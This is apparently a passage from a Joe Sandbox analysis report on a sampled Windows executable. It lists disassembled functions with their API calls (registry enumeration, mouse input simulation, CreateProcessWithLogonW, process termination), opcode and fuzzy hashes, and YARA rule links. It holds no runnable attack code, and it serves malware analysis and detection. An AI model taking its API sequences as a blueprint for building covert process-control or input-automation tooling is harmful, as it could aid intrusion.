EncodePointer.KERNEL32(00000000), ref: 00D64097
DecodePointer.KERNEL32(00D63F85), ref: 00D640B2

Strings

RoUninitialize, xrefs: 00D64074
combase.dll, xrefs: 00D64080

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: a6508bd26581d1d39586318fa3facd0325e82656eedee92a06564ba7993b775f
Instruction ID: a3265f07397c02186a57fd72aa48f7f49dcdcf166639f3bd11c1b612fd345768
Opcode Fuzzy Hash: a6508bd26581d1d39586318fa3facd0325e82656eedee92a06564ba7993b775f
Instruction Fuzzy Hash: 13E0BF70582302EFDB109F72EC0DF553AAAB718742F144026F101E12A4CBB74648CA34

Function 00DA64B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00DA660B
_memmove.LIBCMT ref: 00DA6546

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

_memmove.LIBCMT ref: 00DA65B9
_memmove.LIBCMT ref: 00DA66A0
_memmove.LIBCMT ref: 00DA66B9
_memmove.LIBCMT ref: 00DA66D5

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: eff7f4e5f5b6e760b2da2a9c47064d3ee6628312d1e99789fb4305ac86d0cacb
Instruction ID: ee9d440a18ac490060c77d6f715b3ff1af18a19e798df1f3fb8b5e80e6258671
Opcode Fuzzy Hash: eff7f4e5f5b6e760b2da2a9c47064d3ee6628312d1e99789fb4305ac86d0cacb
Instruction Fuzzy Hash: 37617A3090025A9BCF11EF64CC92AFF7BA5EF46308F084959F8596B292DB35E915CB70

Function 00DC01E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

Part of subcall function 00DC0E1A: CharUpperBuffW.USER32(?,?), ref: 00DC0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DC02BD
RegOpenKeyExW.ADVAPI32 ref: 00DC02FD
RegCloseKey.ADVAPI32(?), ref: 00DC0320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00DC0349
RegCloseKey.ADVAPI32(?), ref: 00DC038C
RegCloseKey.ADVAPI32(00000000), ref: 00DC0399

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 5d4f9c607dd4ecab006a5c8a6862b03266893628cc6f135f8e1c34084040d920
Instruction ID: 60bc33ddada089bc41a26cee3de5d30f75baa728050381055c73fc59be4b9a5b
Opcode Fuzzy Hash: 5d4f9c607dd4ecab006a5c8a6862b03266893628cc6f135f8e1c34084040d920
Instruction Fuzzy Hash: 1C512731208241AFCB14EF64C885EAEBBE9FF85714F04491DF595872A2DB31E905DB72

Function 00DC5799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?,00000001,00000000), ref: 00DC57FB
GetMenuItemCount.USER32(00000000), ref: 00DC5832
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00DC585A
GetMenuItemID.USER32(?,?), ref: 00DC58C9
GetSubMenu.USER32(?,?), ref: 00DC58D7
PostMessageW.USER32 ref: 00DC5928

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 961f11a02e51b9f67dd37f4475cdd18b80ace64cb2b0d01d0ded7cafa2f7172b
Instruction ID: 569936c70b9d67bc74f09fb783bdbfb352e828f5a2db4cb02a8eecd62b5d5c9f
Opcode Fuzzy Hash: 961f11a02e51b9f67dd37f4475cdd18b80ace64cb2b0d01d0ded7cafa2f7172b
Instruction Fuzzy Hash: C1513B35A00616AFCF15DF64D845EAEBBB5EF48720F144069E842BB351CB75AE818BB0

Function 00D9EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D9EF06
VariantClear.OLEAUT32(00000013), ref: 00D9EF78
VariantClear.OLEAUT32(00000000), ref: 00D9EFD3
_memmove.LIBCMT ref: 00D9EFFD
VariantClear.OLEAUT32(?), ref: 00D9F04A
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00D9F078

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: d45917a05f7f3ecd69c4a1a074808ad8d92bd5977c8647914a5599e19cb4310e
Instruction ID: bed089f31ffc9d0fab45abd6fbd8fef582319ebd5b4a6a93c85d5490aea429c0
Opcode Fuzzy Hash: d45917a05f7f3ecd69c4a1a074808ad8d92bd5977c8647914a5599e19cb4310e
Instruction Fuzzy Hash: 44514BB5A00209EFDB14CF58C884AAAB7B9FF4C314B15856AE959DB301E335E911CFA0

Function 00DA220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DA2258
GetMenuItemInfoW.USER32 ref: 00DA22A3
IsMenu.USER32(00000000), ref: 00DA22C3
CreatePopupMenu.USER32 ref: 00DA22F7
GetMenuItemCount.USER32(000000FF), ref: 00DA2355
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00DA2386

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: d804c465617655cbe5f92caa39e658f5a25ecce734c26ac206b760959234a527
Instruction ID: be3c45781319ef9829a9becc684f59debd7e66bdd8af23c41c170e10d868d85e
Opcode Fuzzy Hash: d804c465617655cbe5f92caa39e658f5a25ecce734c26ac206b760959234a527
Instruction Fuzzy Hash: A251893060020ADBDF25CF6AC888BBEBBE5EF47314F18452DE851A7290D3798A04CB71

Function 00D41765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00D42612: GetWindowLongW.USER32(?,000000EB), ref: 00D42623

BeginPaint.USER32(?,?), ref: 00D4179A
GetWindowRect.USER32(?,?), ref: 00D417FE
ScreenToClient.USER32(?,?), ref: 00D4181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00D4182C
EndPaint.USER32(?,?), ref: 00D41876

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 74e5168ca555269c4429223c2c083757cd2b534a590919a2ad32726856731869
Instruction ID: 8a74455afd5cde057b8f1edecc9c9f0e2bb88244c1586bd198a85f2acb88e826
Opcode Fuzzy Hash: 74e5168ca555269c4429223c2c083757cd2b534a590919a2ad32726856731869
Instruction Fuzzy Hash: 19419D35100701AFD710DF25C885FBA7BE8EB45724F084629F9A4D72A1D7319889DB72

Function 00DCB69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00E057B0,00000000), ref: 00DCB712
EnableWindow.USER32(00000000,00000000), ref: 00DCB736
ShowWindow.USER32(00E057B0,00000000), ref: 00DCB796
ShowWindow.USER32(00000000,00000004), ref: 00DCB7A8
EnableWindow.USER32(00000000,00000001), ref: 00DCB7CC
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00DCB7EF

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: ade5398012104e47fa6807310631f2cbda2b69366925891e7442c46892cb6553
Instruction ID: 57d28297a2366afa5387c24adfca7aa7a4f3bef7e9368cc16abdc56d940914e3
Opcode Fuzzy Hash: ade5398012104e47fa6807310631f2cbda2b69366925891e7442c46892cb6553
Instruction Fuzzy Hash: EE413E34640342AFDB25CF24C49AF947BE1FB45320F1C81AAED488F6A2C731E856CB61

Function 00DB709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00DB70AC

Part of subcall function 00DB39A0: GetWindowRect.USER32(?,?), ref: 00DB39B3

GetDesktopWindow.USER32 ref: 00DB70D6
GetWindowRect.USER32(00000000), ref: 00DB70DD
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00DB710F

Part of subcall function 00DA5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00DA52BC

GetCursorPos.USER32(?), ref: 00DB713B
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00DB7199

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 1c56135898a53547c6d52219e39bfa486999bdcf6d49ce05dd340339c04c64d5
Instruction ID: 4d18916b00cde2de2652f4787c9e6a3a741b4cfbf2e30c759230cc4954952585
Opcode Fuzzy Hash: 1c56135898a53547c6d52219e39bfa486999bdcf6d49ce05dd340339c04c64d5
Instruction Fuzzy Hash: 8631B272509306ABD720DF14D849F9BB7AAFFC9354F040919F586D7291C670EA09CBB2

Function 00D98879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D980A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00D980C0
Part of subcall function 00D980A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00D980CA
Part of subcall function 00D980A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00D980D9
Part of subcall function 00D980A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00D980E0
Part of subcall function 00D980A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00D980F6

GetLengthSid.ADVAPI32(?,00000000,00D9842F), ref: 00D988CA
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00D988D6
HeapAlloc.KERNEL32(00000000), ref: 00D988DD
CopySid.ADVAPI32(00000000,00000000,?), ref: 00D988F6
GetProcessHeap.KERNEL32(00000000,00000000,00D9842F), ref: 00D9890A
HeapFree.KERNEL32(00000000), ref: 00D98911

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: ae19fd79a3a25102920b07582e6c33b105fdd4c31e465950de3f94e800a5eeea
Instruction ID: 461879e1fdbc08274d3c5ad675249d791697ab64fefffba2e7e6bf5395ee4d23
Opcode Fuzzy Hash: ae19fd79a3a25102920b07582e6c33b105fdd4c31e465950de3f94e800a5eeea
Instruction Fuzzy Hash: 1B116D7550160AFFDF109FA4DC09FBE7BA9EB46715F184029E885D7210CB329944EB70

Function 00D985B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00D985E2
OpenProcessToken.ADVAPI32(00000000), ref: 00D985E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00D985F8
CloseHandle.KERNEL32(00000004), ref: 00D98603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00D98632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00D98646

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 7d5ecfb9ccc5d49a43d64540c983271d1e3d758b1f759e2a1afd7261ca951103
Instruction ID: 9217770992ab026e4599fbf1b6b5b87d8a782742511a3f50fcdf1dc4496f9fd4
Opcode Fuzzy Hash: 7d5ecfb9ccc5d49a43d64540c983271d1e3d758b1f759e2a1afd7261ca951103
Instruction Fuzzy Hash: 381159B250024AABDF018FA4DD49FEE7BA9EF49704F084065FE05E2260C7729D65EB70

Function 00D9B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00D9B7B5
GetDeviceCaps.GDI32(00000000,00000058,?,?,80004003), ref: 00D9B7C6
GetDeviceCaps.GDI32(00000000,0000005A,?,?,80004003), ref: 00D9B7CD
ReleaseDC.USER32(00000000,00000000), ref: 00D9B7D5
MulDiv.KERNEL32 ref: 00D9B7EC
MulDiv.KERNEL32 ref: 00D9B7FE

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 9bc6116d09656e628f899f77f6dc172e6b8a1625bc068d1bb091b31da9f1139a
Instruction ID: dbab9318f8c468da53adcba7e6bb5c9551e1149ca4da3552d414c3e874b57aed
Opcode Fuzzy Hash: 9bc6116d09656e628f899f77f6dc172e6b8a1625bc068d1bb091b31da9f1139a
Instruction Fuzzy Hash: 8D017175A4030ABBEF109BE69D45E5EBFB9EB48761F044066FA08E7391D6309C00CFA0

Function 00D60162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D60193
MapVirtualKeyW.USER32(00000010,00000000), ref: 00D6019B
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D601A6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D601B1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00D601B9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D601C1

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 26bef04d467e16e98eff7f081fe100032042ff12582e994e4f8b43fea371b2d5
Instruction ID: 724f31bd74c7f128cec7b8fd7575ec4cd65346c7cc980d2ab599e8a75d5d5df9
Opcode Fuzzy Hash: 26bef04d467e16e98eff7f081fe100032042ff12582e994e4f8b43fea371b2d5
Instruction Fuzzy Hash: A9016CB094175A7DE3008F5A8C85B52FFA8FF19354F00411BA15C87A41C7F5A864CBE5

Function 00DA53E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00DA53F9
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00DA540F
GetWindowThreadProcessId.USER32(?,?), ref: 00DA541E
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DA542D
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00DA5437
CloseHandle.KERNEL32(00000000), ref: 00DA543E

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 9b4e9982dd6126c8b1d9e529406ed8814b6a4916abcd705f93d32d0f58b104ac
Instruction ID: 05d97aa6a3ed0b2a30f3c551e514a7d70582313f523db380a95b28d11a5c56c4
Opcode Fuzzy Hash: 9b4e9982dd6126c8b1d9e529406ed8814b6a4916abcd705f93d32d0f58b104ac
Instruction Fuzzy Hash: 81F0903228065ABBE7205BA2DC0DEEF7B7DEFCAB11F040169FA04D1150D7A11A0186B5

Function 00DA7230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?,?,?,?,00D85D3D,?,?,?,?,00D50EE4,?,?), ref: 00DA7243
EnterCriticalSection.KERNEL32(?,?,00D50EE4,?,?), ref: 00DA7254
TerminateThread.KERNEL32(00000000,000001F6,?,00D50EE4,?,?), ref: 00DA7261
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00D50EE4,?,?), ref: 00DA726E

Part of subcall function 00DA6C35: CloseHandle.KERNEL32(00000000), ref: 00DA6C3F

InterlockedExchange.KERNEL32(?,000001F6,?,00D50EE4,?,?), ref: 00DA7281
LeaveCriticalSection.KERNEL32(?,?,00D50EE4,?,?), ref: 00DA7288

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: c9037b2f35993ec81c691f8baeb39ea919d4fec4b5157f426eabc9aea422b52b
Instruction ID: 9a98489063c6f81c0a88a6646866ac122e6518dea104cb26710585688758dfa3
Opcode Fuzzy Hash: c9037b2f35993ec81c691f8baeb39ea919d4fec4b5157f426eabc9aea422b52b
Instruction Fuzzy Hash: 38F05E36540713EBE7111B64ED4CEDAB73AEF45712B140532F643D11A0CB765801CB74

Function 00D98992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00D9899D
UnloadUserProfile.USERENV(?,?), ref: 00D989A9
CloseHandle.KERNEL32(?), ref: 00D989B2
CloseHandle.KERNEL32(?), ref: 00D989BA
GetProcessHeap.KERNEL32(00000000,?), ref: 00D989C3
HeapFree.KERNEL32(00000000), ref: 00D989CA

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: f12604e5deed2098f6a9fb49c9c9394e32abc75de0dac6bb822c648adf54c105
Instruction ID: 6af029198fa5912a0ff705927ae8496d6fff6df8ace3b90522814cba6e9c5a7f
Opcode Fuzzy Hash: f12604e5deed2098f6a9fb49c9c9394e32abc75de0dac6bb822c648adf54c105
Instruction Fuzzy Hash: 98E05976104607FBD6011FE5EC0CD95BB6AFB997627544631F215C1670CB326461DB60

Function 00DB85ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DB8613
CharUpperBuffW.USER32(?,?), ref: 00DB8722
VariantClear.OLEAUT32(?), ref: 00DB889A

Part of subcall function 00DA7562: VariantInit.OLEAUT32(00000000), ref: 00DA75A2
